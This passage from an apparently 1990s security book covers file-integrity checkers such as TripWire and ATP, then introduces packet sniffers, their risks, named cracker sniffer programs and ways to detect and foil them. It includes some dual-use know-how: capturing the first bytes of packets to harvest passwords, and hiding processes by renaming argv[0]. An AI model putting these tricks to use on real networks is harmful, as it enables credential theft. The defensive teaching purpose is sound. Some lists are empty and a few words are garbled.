Some very extreme security programs use MD4 and MD5 algorithms. One such program is S/Key, which is a registered trademark of Bell Laboratories. S/Key implements a one-time password scheme. One-time passwords are nearly unbreakable. S/Key is used primarily for remote logins and to offer advanced security along those channels of communication (as opposed to using little or no security by initiating a normal, garden-variety Telnet or Rlogin session). The process works as described in "S/Key Overview" (author unknown):

S/Key uses either MD4 or MD5 (one-way hashing algorithms developed by Ron Rivest) to implement a one-time password scheme. In this system, passwords are sent cleartext over the network; however, after a password has been used, it is no longer useful to the eavesdropper. The biggest advantage of S/Key is that it protects against eavesdroppers without modification of client software and only marginal inconvenience to the users.


Cross Reference: Read "S/Key Overview" at http://medg.lcs.mit.edu/people/wwinston/skey-overview.html.

With or without MD5, object reconciliation is a complex process. True, on a single workstation with limited resources, one could technically reconcile each file and directory by hand (I would not recommend this if you want to preserve your sanity). However, in larger networked environments, this is simply impossible. So, various utilities have been designed to cope with this problem. The most celebrated of these is a product aptly named TripWire.

TripWire

TripWire (written in 1992) is a comprehensive system-integrity tool. It is written in classic Kernhigan and Ritchie C (you will remember from Chapter 7, "Birth of a Network: The Internet," that I discussed the portability advantages of C; it was this portability that influenced the choice of language for the authors of TripWire).

TripWire is well designed, easily understood, and implemented with minimal difficulty. The system reads your environment from a configuration file. That file contains all filemasks (the types of files that you want to monitor). This system can be quite incisive. For example, you can specify what changes can be made to files of a given class without TripWire reporting the change (or, for more wholesale monitoring of the system, you can simply flag a directory as the target of the monitoring process). The original values (digital signatures) for these files are kept within a database file. That database file (simple ASCII) is accessed whenever a signature needs to be calculated. Hash functions included in the distribution are


It is reported that by default, MD5 and the Xerox secure hash function are both used to generate values for all files. However, TripWire documentation suggests that all of these functions can be applied to any, a portion of, or all files.

Altogether, TripWire is a very well-crafted package with many options.


Cross Reference: TripWire (and papers on usage and design) can be found at ftp://coast.cs.purdue.edu/pub/tools/unix/TripWire/.

TripWire is a magnificent tool, but there are some security issues. One such issue relates to the database of values that is generated and maintained. Essentially, it breaks down to the same issue discussed earlier: Databases can be altered by a cracker. Therefore, it is recommended that some measure be undertaken to secure that database. From the beginning, the tool's authors were well aware of this:

The database used by the integrity checker should be protected from unauthorized modifications; an intruder who can change the database can subvert the entire integrity checking scheme.


Cross Reference: Before you use TripWire, read "The Design and Implementation of TripWire: A File System Integrity Checker" by Gene H. Kim and Eugene H. Spafford. It is located at ftp://ftp.cs.purdue.edu/pub/spaf/security/Tripwire.PS.Z.

One method of protecting the database is extremely sound: Store the database on read-only media. This virtually eliminates any possibility of tampering. In fact, this technique is becoming a strong trend in security. In Chapter 21, "Plan 9 from Bell Labs," you will learn that the folks at Bell Labs now run their logs to one-time write or read-only media. Moreover, in a recent security consult, I was surprised to find that the clients (who were only just learning about security) were very keen on read-only media for their Web-based databases. These databases were quite sensitive and the information, if changed, could be potentially threatening to the security of other systems.

Kim and Spafford (authors of TripWire) also suggest that the database be protected in this manner, though they concede that this could present some practical, procedural problems. Much depends upon how often the database will be updated, how large it is, and so forth. Certainly, if you are implementing TripWire on a wide scale (and in its maximum application), the maintenance of a read-only database could be formidable. Again, this breaks down to the level of risk and the need for increased or perhaps optimum security.

TAMU

The TAMU suite (from Texas A&M University, of course) is a collection of tools that will greatly enhance the security of a UNIX box. These tools were created in response to a very real problem. As explained in the summary that accompanies the distribution:

Texas A&M University UNIX computers recently came under extensive attack from a coordinated group of Internet crackers. This paper presents an overview of the problem and our responses, which included the development of policies, procedures, and sdoels to protect university computers. The tools developed include `drawbridge', an advanced Internet filter bridge, `tiger scripts', extremely powerful but easy to use programs for securing individual hosts, and `xvefc', (XView Etherfind Client), a powerful distributed network monitor.

Contained within the TAMU distribution is a package of tiger scripts, which form the basis of the distribution's digital signature authentication. As the above-mentioned summary explains:

The checking performed covers a wide range of items, including items identified in CERT announcements, and items observed in the recent intrusions. The scripts use Xerox's cryptographic checksum programs to check for both modified system binaries (possible trap doors/trojans), as well as for the presence of required security related patches.


Cross Reference: Xerox hash.2.5a can be found on the PARC ftp site (ftp://parcftp.xerox.com/pub/hash/hash2.5a/). This package is generally referred to as the Xerox Secure Hash Function, and the distribution is named after Snefru, a pharaoh of ancient Egypt. The distribution at the aforementioned site was released in 1990, and source is included. For those interested in hacking the Snefru distribution, the material here is invaluable. (Also, refer to a sister document about the distribution and a more comprehensive explanation: A Fast Software One Way Hash Function by Ralph C. Merkle (there is a full citation at the end of this chapter in the Resources section).

The TAMU distribution is comprehensive and can be used to solve several security problems, over and above searching for trojans. It includes a network monitor and packet filter.


Cross Reference: The TAMU distribution is available at ftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/.

ATP (The Anti-Tampering Program)

ATP is a bit more obscure than TripWire and the TAMU distribution, but I am not certain why. Perhaps it is because it is not widely available. In fact, searches for it may lead you overseas (one good source for it is in Italy). At any rate, ATP works somewhat like TripWire. As reported by David Vincenzetti, DSI (University of Milan, Italy) in "ATP--Anti-Tampering Program":

ATP 'takes a snapshot' of the system, assuming that you are in a trusted configuration, and performs a number of checks to monitor changes that might have been made to files.


Cross Reference: "ATP--Anti-Tampering Program" can be found at http://www.cryptonet.it/docs/atp.html.

ATP then establishes a database of values for each file. One of these values (the signature) consists of two checksums. The first is a CRC32 checksum, the second an MD5 checksum. You might be wondering why this is so, especially when you know that CRC checksums are not entirely secure or reliable, as explained previously. The explanation is this: Because of its speed, the CRC32 checksum is used in checks performed on a regular (perhaps daily) basis. MD5, which is more comprehensive (and therefore more resource and time intensive), is intended for scheduled, periodic checks (perhaps once a week).

The database is reportedly encrypted using DES. Thus, ATP provides a flexible (but quite secure) method of monitoring your network and identifying possible trojans.


Cross Reference: ATP docs and distribution can be found at ftp://security.dsi.unimi.it/pub/security.

Hobgoblin

The Hobgoblin tool is an interesting implementation of file- and system-integrity checking. It utilizes Ondishko Consistency checking. The authors of the definitive paper on Hobgoblin (Farmer and Spafford at Purdue) claim that the program is faster and more configurable than COPS and generally collects information in greater detail. What makes Hobgoblin most interesting, though, is that it is both a language and an interpreter. The programmers provided for their own unique descriptors and structural conventions.

The package seems easy to use, but there are some pitfalls. Although globbing conventions (from both csh and sh/bash) are permissible, the Hobgoblin interpreter reserves familiar and often-used metacharacters that have special meaning. Therefore, if you intend to deploy this powerful tool in a practical manner, you should set aside a few hours to familiarize yourself with these conventions.

In all, Hobgoblin is an extremely powerful tool for monitoring file systems. However, I should explain that the program was written specifically for systems located at the University of Rochester and, although it has been successfully compiled on a variety of platforms, your mileage may vary. This is especially so if you are not using a Sun3, Sun4, or VAX with Ultrix. In this instance, some hacking may be involved. Moreover, it has been observed that Hobgoblin is lacking some elements present in other file-integrity checkers, although I believe that third-party file-integrity checkers can be integrated with (and their calls and arguments nested within) Hobgoblin.


Cross Reference: Hobgoblin and its source are located at ftp://freebsd.cdrom.com/.20/security/coast/tools/unix/hobgoblin/hobgoblin.shar.Z.uu.Z.

On Other Platforms

You're probably wondering whether there are any such utilities for the Windows platform. It happens that there are, though they are perhaps not as powerful or reliable. Most of these tools use checksum integrity checkers and are, therefore, not as comprehensive as tools that employ MD5. Flatly stated, the majority for the Microsoft platform are intended for use as virus scanners.

For this reason, I have not listed these utilities here (a listing of them does appear in Chapter 14, "Destructive Devices"). However, I do want to address a few points: It is generally assumed that trojans are a security problem primarily for UNIX and that when that problem is a Windows problem, it usually involves a virus. There is some truth to this, and there are reasons for it.

Until recently, security on IBM compatibles running Microsoft products was slim. There was no need for complex trojans that could steal (or otherwise cull) information. Thus, the majority of trojans were viruses encased in otherwise useful (or purportedly useful) programs. That situation has changed.

It should be understood that a trojan can be just as easily written for a Microsoft platforms as for any other. Development tools for these platforms are powerful, user-friendly applications (even VC++ far surpasses C compiling utilities made by other firms). And, now that the Windows environment is being used as Internet server material, you can expect the emergence of trojans.

Summary

People generally equate trojan horses with virus attacks and, while this is accurate to some degree, it is not the whole picture. True, trojans on the PC-based operating systems have traditionally been virus related, but on the UNIX platform, a totally different story emerges. On the UNIX platform, crackers have consistently crafted trojans that compromise security without damaging data or attaching unauthorized code to this or that executable.

In either case, however, one thing is clear: Trojans are a significant security risk to any server as well as to machines networked to that server. Because PC-based servers are becoming more common on the Internet, utilities (above and beyond those virus checkers already available) that can identify trojaned files must be developed.

Resources

Following you will find an extensive list of resources concerning object reconciliation. Some of these documents are related to the process of object reconciliation (including practical examples) and some are related to the process by which this reconciliation is performed. All of them were handpicked for relevancy and content. These are the main papers available from the void (some books are sprinkled in as well). I recommend that every system administrator at least gain a baseline knowledge of these techniques (if not actually implement the procedures detailed within).

"MDx-MAC and Building Fast MACs from Hash Functions." Bart Preneel and Paul C. van Oorschot. Crypto 95.


"Message Authentication with One-Way Hash Functions." Gene Tsudik. 1992. IEEE Infocom 1992.


"RFC 1446--1.5.1. Message Digest Algorithm." Connected: An Internet Encyclopedia.


"Answers To FREQUENTLY ASKED QUESTIONS About Today's Cryptography." Paul Fahn. RSA Laboratories. 1993 RSA Laboratories, a division of RSA Data Security.


"The Checksum Home Page." Macintosh Checksum.


"RFC 1510--6. Encryption and Checksum Specifications." Connected: An Internet Encyclopedia.


"RFC 1510--6.4.5. RSA MD5 Cryptographic Checksum Using DES (rsa-md5des)." Connected: An Internet Encyclopedia. J. Kohl. Digital Equipment Corporation, C. Neuman, ISI. September 1993.


"Improving the Efficiency and Reliability of Digital Time-Stamping." D. Bayer and S. Haber and W. S. Stornetta. 1992.


"A Proposed Extension to HTTP: Simple MD5 Access Authentication." Jeffery L. Hostetler and Eric W. Sink. 1994.


"A Digital Signature Based on a Conventional Encryption Function." Ralph C. Merkle. Crypto 87, LNCS, pp. 369-378, SV, Aug 1987.

"An Efficient Identification Scheme based on Permuted Kernels." Adi Shamir. Crypto 89, LNCS, pp. 606-609, SV, Aug 1989.

"An Introduction To Digest Algorithms." Proceedings of the Digital Equipment Computer Users Society Australia, Ross N. Williams. Sep 1994.


"Data Integrity With Veracity." Ross N. Williams.


"Implementing Commercial Data Integrity with Secure Capabilities." Paul A. Karger. SympSecPr. Oakland, CA. 1988. IEEECSP.

"Trusted Distribution of Software Over the Internet." Aviel D. Rubin. (Bellcore's Trusted Software Integrity (Betsi) System). 1994.


"International Conference on the Theory and Applications of Cryptology." 1994 Wollongong, N.S.W. Advances in Cryptology, ASIACRYPT November 28-December 1, 1994. (Proceedings) Berlin & New York. Springer, 1995.

"Managing Data Protection" (Second Edition). Dr. Chris Pounder and Freddy Kosten, Butterworth-Heineman Limited, 1992.

"Some Technical Notes on S/Key, PGP..." Adam Shostack.


"Description of a New Variable-Length Key, 64-Bit Block Cipher" (Blowfish). Bruce Schneier. Counterpane Systems.


12

Sniffers

A sniffer is any device, whether software or hardware, that grabs information traveling along a network. That network could be running any protocol: Ethernet, TCP/IP, IPX, or others (or any combination of these). The purpose of the sniffer to place the network interface--in this case, the Ethernet adapter--into promiscuous mode and by doing so, to capture all network traffic.


NOTE: Promiscuous mode refers to that mode where all workstations on a network listen to all traffic, not simply their own. In other words, non-promiscuous mode is where a workstation only listens to traffic route it its own address. In promiscuous mode, the workstation listens to all traffic, no matter what address this traffic was intended for.

When one discusses sniffers, one is not discussing key capture utilities, which grab keystrokes and nothing more. Essentially, a key capture utility is the software equivalent of peering over someone's shoulder. This peering might or might not reveal important information. True, it might capture passwords typed into the console of the local terminal, but what about other terminals? In contrast, sniffers capture network traffic. This network traffic (irrespective of what protocol is running) is composed of packets (these might be IP datagrams or Ethernet packets). These are exchanged between machines at a very low level of the operating-system network interface. However, these also carry vital data, sometimes very sensitive data. Sniffers are designed to capture and archive that data for later inspection.

About Ethernet

As I have discussed, Ethernet was created at Xerox's Palo Alto Research Center. (Sometimes referred to as PARC Place.) You might remember an RFC document that I presented earlier in this book: It was posted over a Christmas holiday and discussed the issue of hackers gaining access to a network that would soon become the Internet. The author of that RFC was Bob Metcalfe, who, along with David Boggs (both at PARC), invented Ethernet.

In 1976, these two gentlemen presented to the computing communities a document titled Ethernet: Distributed Packet Switching for Local Computer Networks. The ideas set forth in that paper revolutionized business-based computing. Prior to the birth of Ethernet, most large networks were strung to mainframe computers (in even earlier years, most systems were based on computer time sharing).

Today, Ethernet is probably the most popular way to network machines. A group of machines within an office that are linked via Ethernet might be referred to as a local area network (LAN). These machines are strung together with high-speed cable that transfers information as quickly (or sometimes much more quickly) than most hard drives.


NOTE: You might remember that in Chapter 6, "A Brief Primer on TCP/IP," I noted that one element of TCP/IP networking was the full-duplex transmission path, which allows information to travel in both directions at one time, a common situation in TCP/IP that is especially vital to the error-reporting process during a transmission (a typical example might be during a FTP transfer). Ethernet does not truly support full-duplex transmission and therefore, although Ethernet interfaces are advertised as being capable of extremely high-speed transmission, you can expect only perhaps 50-75 percent of the actual advertised speed when using Ethernet on a high-traffic network. If you were to employ a packet sniffer, you would see that while a card is receiving a heavy transmission of data from some card elsewhere on the network, it cannot also send data out with any great reliability. That represents an interesting security issue of sorts. For example, can an Ethernet card answer an ARP request while being bombarded with data? If not, couldn't a cracker temporarily conduct an ARP spoofing session under such circumstances? At any rate, there are switching products that can remedy this limitation.

The Composition of an Ethernet Network

The composition of a network is complex. First, in order for each machine to be part of a network, it must have both software and hardware designed to traffic Ethernet packets. The four minimal components necessary are illustrated in Figure 12.1.


The minimum requirements for a single workstation.

The software can either come with the operating system (Novell NetWare, UNIX, Windows NT, Windows 95), or it can be a third-party product added later (LANtastic). At a minimum, the software needed is as follows:

The network adapter driver commonly comes with the network adapter or Ethernet card. It is typically provided by the manufacturer of the card but might also be included in a total package. This is not always true. It is primarily the IBM-compatible architecture that requires an Ethernet card. Most workstations (and most Macintoshes) have on-board Ethernet support. This means that the Ethernet card is already hard-wired to the motherboard. I believe that IBM-based RS/6000 machines might be one of the few real exceptions to this. A good example would be an IBM Powerstation 320H.


NOTE: Most operating systems now come with boot drivers for various Ethernet cards. Linux certainly does, as does Windows 95 and Windows NT. Chances are, unless you have a very strange, off-beat Ethernet card, you may never need the manufacturer's driver.

The packet driver negotiates packets back and forth. The network adapter driver is used to bind the Ethernet protocol to the Ethernet card. The card transmits these packets from the workstation and into wire. This wire may be one of several kinds. Some Ethernet cable transmits packets at 10MB/sec, others at 100MB/sec.


NOTE: TCP/IP can be bound to most Ethernet cards as quickly as IPX or other network protocols.

So you have a machine running Ethernet software (for both packet and card). The machine is a classic workstation, equipped with an Ethernet card that connects to a cable. But where does the data that travels down that cable lead? The answer depends on the network needs of the organization.

In general, there will be a least several other workstations and a network hub (see Figure 12.2). The workstations may be deposited throughout a building, with the wire strung through the walls.


Basic network setting.

Figure 12.2 shows a very simple network setting. Thousands of businesses nationwide have such a setting, using any of a dozen different networked operating systems.


NOTE: In many network settings, you can take the hub out of the picture altogether. There are plenty of Novell NetWare networks that have simply a file server or a closed-circuit cabling scheme, precisely like the setup in Figure 12.2. Hubs are used for many things, including enhancement of security, as you will see later. But if you have no fear of allowing indiscriminate, network-wide broadcasts, a hub might not be necessary.

Note the line in Figure 12.2 that represents information flow. On networks without hubs, the data doesn't point in any particular direction. Instead, it travels in all directions. A typical example of this is at the moment a message needs to be sent. Each network node or workstation is an interface. When a message needs to be sent, a request is forwarded to all interfaces, looking for the intended recipient. This request is sent in the form of a general broadcast.

This broadcast issues a message to all interfaces, saying: "Hey! Which one of you is this data destined for? Will the real recipient please stand up?" All interfaces receive this message, but only one (the one for which the message is intended) actually replies. In this respect, then, there is no established flow of information until the recipient is known. As you might expect, because this broadcast is global on the network, all machines hear it. Those that are not intended recipients of the data hear the broadcast but ignore it. The request packet dies at such workstations because there is no reply.


NOTE: This all broadcast scenario only occurs in network blocks, or segments. In other words, bar hard-wiring by hub (where all machines are strung to a hub), the information will be broadcast between all machines within that network segment. As you will see, the topology of such segments can greatly enhance or debilitate your network security, at least with respect to sniffers. In general, however, all machines are sent this request.

The workstation that is the intended recipient responds, forwarding its hardware address. The information is then sent down the wire (in packets) from the issuing workstation to the recipient. You might imagine that in this scenario (and from the instant that the recipient is known), all other workstations ignore the data being sent between the bona-fide sender and recipient. This is true; they do. However, they do not necessarily have to ignore this data, and if they don't, they can still hear it. In other words, any information traveling through the network is always "hear-able" by all interfaces within a segment (barring installation of controls to prevent it).

A sniffer is nothing more than hardware or software that hears (and does not ignore) all packets sent across the wire. In this respect, every machine and every router is a sniffer (or at least, each of these devices could be a sniffer). This information is then stored on some media and archived for later viewing.


NOTE: To use your machine as a sniffer, you will need either special software (a promiscuous driver for the Ethernet card) or a version of networking software that allows promiscuous mode.


NOTE: Think of the network as a dynamic atmosphere, such as a river. In that river, packets flow freely along the path of least resistance. A sniffer is an entity that sticks its hand into the river and filters the water through its fingers.

A sniffer can be (and usually is) a combination of both hardware and software. The software might be a general network analyzer enabled with heavy debugging options, or it might be a real sniffer.

A sniffer must be located within the same network block (or net of trust) as the network it is intended to sniff. With relatively few exceptions, that sniffer could be placed anywhere within that block (see Figure 12.3).


Possible placements for sniffers.

Notice that one of the positions I have marked as a sniffer is located in the void (along the network wire instead of within a workstation). This is possible, though unlikely. Certain tools designed for network-traffic analysis can be spliced into the cable itself. These tools are quite expensive and not something that the average cracker would employ (however, I thought I should mention them).


Cross Reference: There are also devices that are referred to as cable sniffers, which are used to diagnose problems along network cable. One such product is called the Cable Sniffer by Macally. It can be used to sniff cable problems on AppleTalk networks. Their page is located at http://www.macally.com/.

Sniffers are a significant threat because of the following:

Where Is One Likely to Find a Sniffer?

You are likely to find a sniffer almost anywhere. However, there are some strategic points that a cracker might favor. One of those points is anywhere adjacent to a machine or network that receives many passwords. This is especially so if the targeted machine is the gateway of a network, or a path of data going to or coming from the outside world. If your network goes out to the Internet (and that's really what I'm getting at here), the cracker will want to capture authentication procedures between your network and other networks. This could exponentially expand the cracker's sphere of activity.

What Level of Risk Do Sniffers Represent?

Sniffers represent a high level of risk. In fact, the existence of a sniffer in itself shows a high level of compromise. In fact, if a sniffer has been placed on your network (by folks other than those authorized to undertake such an action), your network is already compromised. That is, taking the case study out of the LAN and into the Internet, if your Internet-enabled network has a sniffer, someone has breached your network security. One scenario is that he or she has come from the outside and placed a monitoring device on your network. The other scenario is that one of your own is up to no good. Either way, the situation is grave.

Security analysts characterize a sniffer attack as a second-level attack. The cracker has already worked his or her way into your network and now seeks to further compromise the system. To do so, he must begin by capturing all the user IDs and passwords. For that reason (and for the information a sniffer gathers), a sniffer represents an extremely high level of risk.

However, sniffers can catch more than simply user IDs and passwords; they can capture sensitive financial data (credit-card numbers), confidential information (e-mail), and proprietary information. Depending on the resources available to the cracker, a sniffer is capable of capturing nearly all traffic on a network.


NOTE: I do not believe that, in practice, any sniffer can catch absolutely all traffic on a network. This is because as the number of packets increases, the chances of lost packets is high. If you examine technical reports on sniffers, you will discover that at high speeds and in highly trafficked networks, a more-than negligible amount of data can be lost. This suggests that sniffers employed by the good guys might be vulnerable to attacks themselves. In other words, just how many packets per second can a sniffer take before it starts to fail in its fundamental mission? That is a subject probably worth investigating.

Security technology has evolved considerably. Some operating systems now employ encryption at the packet level, and, therefore, even though a sniffer attack can yield valuable data, that data is encrypted. This presents an additional obstacle likely to be passed only by those with deeper knowledge of security, encryption, and networking.


Where Do Sniffers Come From and Why Do They Exist?

Sniffers are designed as devices that can diagnose a network connection. You will remember that in Chapter 9, "Scanners," I referred to a UNIX command called traceroute. traceroute examines the route between two points and is used to determine whether problems exist along that route (for example, if one of the machines aÚ g that route has died).

Tools such as traceroute are sniffers of sorts. However, a hard-core sniffer is designed to examine the packet traffic at a very deep level. Again, this--like the scanner--has a perfectly legitimate purpose. Sniffers were designed by those aiding network engineers (and not for the purpose of compromising networks).

Some companies produce entire suites of sniffer applications designed to diagnose network problems. The leading company in this industry is Network General Corporation (NGC), which offers a wide variety of sniffer products, including

On What Platforms Will a Sniffer Run?

Sniffers now exist for every network platform, but even if they did not, they would still be a threat to you. Here is why: Sniffers sniff packets, not machines. Unless your network is entirely homogenous, a sniffer could exist there. As I pointed out, a sniffer need be only on a single node of a network (or at a gateway) to sniff traffic. This is because of the manner in which Ethernet broadcasts occur. Because the traffic is broadcasted to all nodes on a network segment, any platform that you have will do. Also, more sniffers for different operating systems emerge every few months; because source is now available for a wide variety of systems, it seems likely that trend will continue. Eventually, you will see the ultimate sniffer written for Windows 95 with some sort of VB front end. You can bet on it.

Has Anyone Actually Seen a Sniffer Attack?

There have been many sniffer attacks executed over the Internet; these attacks were disparate in terms of target and scope. Consider this security advisement update:

In February 1994, an unidentified person installed a network sniffer on numerous hosts and backbone elements collecting over 100,000 valid user names and passwords via the Internet and Milnet. Any computer host allowing FTP, Telnet or remote log in to the system should be considered at risk...All networked hosts running a UNIX derivative operating system should check for the particular promiscuous device driver that allows the sniffer to be installed.1


1Naval Computer & Telecommunications Area Master Station LANT advisory.


Cross Reference: You can access the Naval Computer & Telecommunications Area Master Station LANT advisory at http://www.chips.navy.mil/chips/archives/94_jul/file14.html.

Naturally, institutions and private companies are reluctant to state what level of compromise might have occurred. But, there are many such victims:


Cross Reference: For more information about the Stanislaus incident, visit http://yahi.csustan.edu/studnote.html.

For more information about the U.S. Army missile research lab and White Sands Missile Range incidents, see the GAO report at http://www.securitymanagement. com/library/000215.html.


Universities seem to be consistent targets, mainly because of the sheer volume of usernames and passwords that can be gleaned from such an attack. This also translates into bigger and more complex networks. Network administration in a university is quite a job, even if crackers aren't prowling around. How many times have you fingered an account at a university only to find that the target was discharged or graduated a year or more before? Two days before writing this chapter, I encountered exactly that situation. Except that the individual had been gone 18 months. Even so, his account was still active!

What Information Is Most Commonly Gotten from a Sniffer?

A sniffer attack is not as easy as you might think. It requires some knowledge of networking before a cracker can effectively launch one. Simply setting up a sniffer and leaving it will lead to problems because even a five-station network transmits thousands of packets an hour. Within a short time, the outfile of a sniffer could easily fill a hard disk drive to capacity (if you logged every packet).

To circumvent this problem, crackers typically sniff only the first 200-300 bytes of each packet. Contained within this portion is the username and password, which is really all most crackers want. However, it is true that you could sniff all the packets on a given interface; if you have the storage media to handle that kind of volume, you would probably find some interesting things.

Where Does One Get a Sniffer?

There are many sniffers available on many platforms. As you might expect, the majority of these are commercial. Commercial sniffing applications are a good idea if you have a real need to diagnose your network (or catch a cracker). They are probably a poor idea if you simply want to learn about networking.

Gobbler (Tirza van Rijn)

Gobbler, shown in Figure 12.4, is probably the best sniffer for someone wanting to learn a bit about network traffic. It was designed to work on the MS-DOS platform but can be run in Windows 95.


Gobbler's opening screen.

Operation of Gobbler might seem a little confusing at first. There are no menus in the traditional sense (that is, the menus are not immediately apparent when you start the application); the application just pops up, as shown in Figure 12.4. (The menus are there; it is just that Gobbler is not the most user-friendly application.) Depending on what package you get, you may or may not receive documentation. If you do, it will be a PostScript document titled Paper.gs. Of the four locations where I have found Gobbler, only one has the document. It is the first of the addresses that follow.


Cross Reference: Gobbler is no longer widely distributed; these links are quite remote. Expect some download time. Gobbler can be found at


Press the F1 key after booting the application to view a legend that provides information about the program's functions (see Figure 12.5).


Gobbler's function and navigation help screen.

Gobbler runs on any PC running DOS, Windows, Windows 95, and perhaps NT. It can be run from a single workstation, analyzing only local packets, or it can be used remotely over a network (this is an especially useful function).

Contained within the program are some fairly complex functions for packet filtering as well as an event-triggered mechanism (that is, one can specify a particular type of packet that must be encountered before the deep logging process starts or stops). Perhaps most importantly, Gobbler allows you to view both the source and destination addresses for each packet without further effort (these are printed to the screen in a very convenient manner).

The program allows you to view the recording process as it happens. This is a vital element of its usefulness. As noted in one of the case studies presented with the application:

A bridge was having problems in getting through its startup sequence using the bootp protocol. `The Gobbler' packet catcher was used to capture the packets to and from the bridge. The dump file viewer and protocol analyzer made it possible to follow the whole startup sequence and to track down the cause of the problem.1


1T.V. Rijn and J.V. Oorschot, The Gobbler, An Ethernet Troubleshooter/Protocol Analyzer. November 29, 1991. Delft University of Technology, Faculty of Electrical Engineering, the Netherlands.

ETHLOAD (Vyncke, Vyncke, Blondiau, Ghys, Timmermans, Hotterbeex, Khronis, and Keunen)

A freeware packet sniffer written in C for Ethernet and token ring networks, ETHLOAD runs well atop or in conjunction with any of the following interfaces:

Further, it analyzes the following protocols:

One thing that is not available in the standard distribution is the source code. This is unfortunate because some time ago, the source was available. However, as the authors explain:

After being flamed on some mailing lists for having put a sniffer source code in the public domain and as I understand their fears (even if a large bunch of other Ethernet sniffers are available everywhere), I have decided that the source code is not made available.

What is interesting is that the program did have the capability to sniff rlogin and Telnet sessions, though only with a special key that had to be obtained from the author. As one might expect, even when this key was available, the author restricted its access to those who could provide some form of official certification.

For a free sniffer executable on a DOS/Novell platform, ETHLOAD is probably the most comprehensive currently available (this is certainly so for the PC platforms). It is also more easily found than others (altavista.digital.com returns approximately one hundred instances of the file name, and more than half of those sites have the product).


Cross Reference: Here are a few sites that offer ETHLOAD:


Netman (Schulze, Benko, and Farrell)

Netman is a little different from ETHLOAD in that you can obtain the source, although the process is more complex than "ask and ye shall receive." It involves money ($500 for educational institutions, $1,000 for private firms), and the development team makes it clear that that source is not to be used for commercial purposes.

The team at Curtin University has developed a whole suite of applications in the Netman project:

Etherman is of main interest in tracing Ethernet activity. It is important to note that this tool is no ordinary ASCII-to-outfile packet sniffer. As the authors explain in Homebrew Network Monitoring: A Prelude to Network Management, Etherman takes a whole new approach that is completely distinct from its counterparts:

In this project, we attempt to extend the goals of these by visualizing network data. This has been achieved by applying a graphical model to a collection of continuously updating network statistics.

True to their claims, these individuals created an extraordinary tool. The program presents a black screen on which addresses, traffic, and interfaces are all represented as points within the network (connection points or flows of data between these are represented in red). This accurate graphical model is altered as traffic varies.

The entire suite of applications constitutes a formidable arsenal for network analysis and management. In the hands of a cracker, this suite could prove quite a weapon. However, the main features of the Etherman program, at least, run in X. It is extremely unlikely that a cracker would be running X apps on your network without your knowledge. If this is going on, you better wake up and mind your network; your problems are deeper than a sniffer.


Cross Reference: The Netman project, papers, and all binaries for these programs are located at http://www.cs.curtin.edu.au/~netman/.


NOTE: The Netman suite of applications was reportedly coded on the Sun and DEC platforms (SPARC and Decstation 5000, respectively). Information about porting is scarce, but this much is certain: This application runs only on UNIX platforms. Moreover, remember when I suggested that some sniffers might lose data on high-speed, high-volume networks? Packetman is apparently one such application, although the problem is reportedly limited to the SunOS platform. This application is probably the most functional sniffer suite for the UNIX platform (if not in terms of superb functionality, at least in design).

Esniff.c (the Posse)

Esniff.c is a sniffer program that is always distributed in source form (C language), designed primarily to sniff packet traffic on the SunOS platform. It is probably the most popular among crackers. It is already coded to capture only the beginning portion of each packet (and thereby capture user login IDs and passwords).


Cross Reference: Esniff.c is available at many locations, including


Sunsniff (Author Unknown)

Sunsniff is also designed specifically for the SunOS platform. It consists of 513 lines of C source, coded reportedly by crackers who wish to remain anonymous. It works reasonably well on Sun, and is probably not easily portable to another flavor. This program is good for experimentation.


Cross Reference: Sunsniff is available at


linux_sniffer.c (Author Unknown)

This program's name pretty much says it all. It consists of 175 lines of C code, distributed primarily at cracker sites on the Net. This program is Linux specific. It is another utility that is great for experimentation on a nice Sunday afternoon; it's a free and easy way to learn about packet traffic.


Cross Reference: linux_sniffer.c is available at


Nitwit.c (Author Unknown)

This C source (159 lines, excluding comments) is distributed primarily at cracker sites. When compiled, it runs as a NIT (Network Interface Tap) sniffer. It is yet another SunOS-only utility. The authors anonymously claim that the utility is:

...better than CERT's `cpm' because the sniffer can be reading in normal (non promiscuous) mode from /dev/nit and nittie.c will sense this.

I would closely examine the source before employing this utility. This utility emerged from the back alleys of the Net.


Cross Reference: Nitwit.c can be found at www.catch22.com/Twilight.NET/phuncnet/hacking/proggies/sniffers/nitwit.c.

How Do I Detect a Sniffer on My Network?

The short answer to this question is: You don't. Here lies one of the reasons sniffers are so threatening to security. They are largely passive applications and generate nothing. In other words, they leave no trace on the system.

One way to detect a sniffer is to search all current processes being run. This isn't entirely reliable, of course, but you can at least determine whether a process is being run from your machine. Commands differ from platform to platform in performing this operation. Those with DOS, Windows for Workgroups, or Windows 95 might have a problem. However, those using UNIX or Windows NT can easily obtain a list of current processes. In UNIX, issue the following command:

ps -aux

or

ps -augx

This command results in a listing of all processes, who initiated those processes, what percentage of the CPU those processes are using, what percentage of memory, and so on. The output comes in standard table form on STDOUT. If a process is still running, it should be listed here (unless your ps or other binaries have been trojaned).

Another method is to go searching for the sniffer. There are only so many sniffers in existence. Chances are a cracker is using a freeware version. There is a possibility that the cracker has written his or her own. In this case, you are in trouble and will spend much time reconciling your directories. This is a complicated procedure, and I am unaware of a utility that does expressly this. On the UNIX platform, you likely will have to hack a program for yourself.


NOTE: Programs like ps (in fact, most programs) can be hidden from the ps query by changing their argv[0] (their first argument) to the name of a program one that is innocuous and not so suspicious.


NOTE: Directory reconciliation is a fancy way of saying you need to perform frequent backups (ideally, once a day). The trick is to hack a program that takes the list of files on each backup and compares them to the backup on the following day. Include a type of file field, which contains the information you normally glean from the file command. This command reports the status of the file (whether it is binary, text, sound, and so on). If a file in a user's directory was a compiled binary one day and a shell script the next, it might not necessarily mean anything is wrong, but it is worth noting. A number of programs can help you per-form file reconciliation and are treated in Chapter 11, "Trojans." Some of these programs are Tripwire, ATP, and Hobgoblin.

Some utilities, however, can identify whether your system has been thrown into promiscuous mode. These can at least detect whether a running sniffer would even work under your current configuration. Nitwit.c is one such utility.

What Can I Do to Foil a Sniffer?

Foiling a sniffer attack is not a difficult task. You have quite a few choices and what you pick will probably depend on how paranoid you truly are. The rest will depend on cost.

Your main concern is probably the transmission of truly sensitive data (namely, user IDs and passwords). Some of these cross the network in plain (or clear) text and, when captured with a sniffer, are easily read. Solutions to this problem are straightforward and cost effective.

Encryption

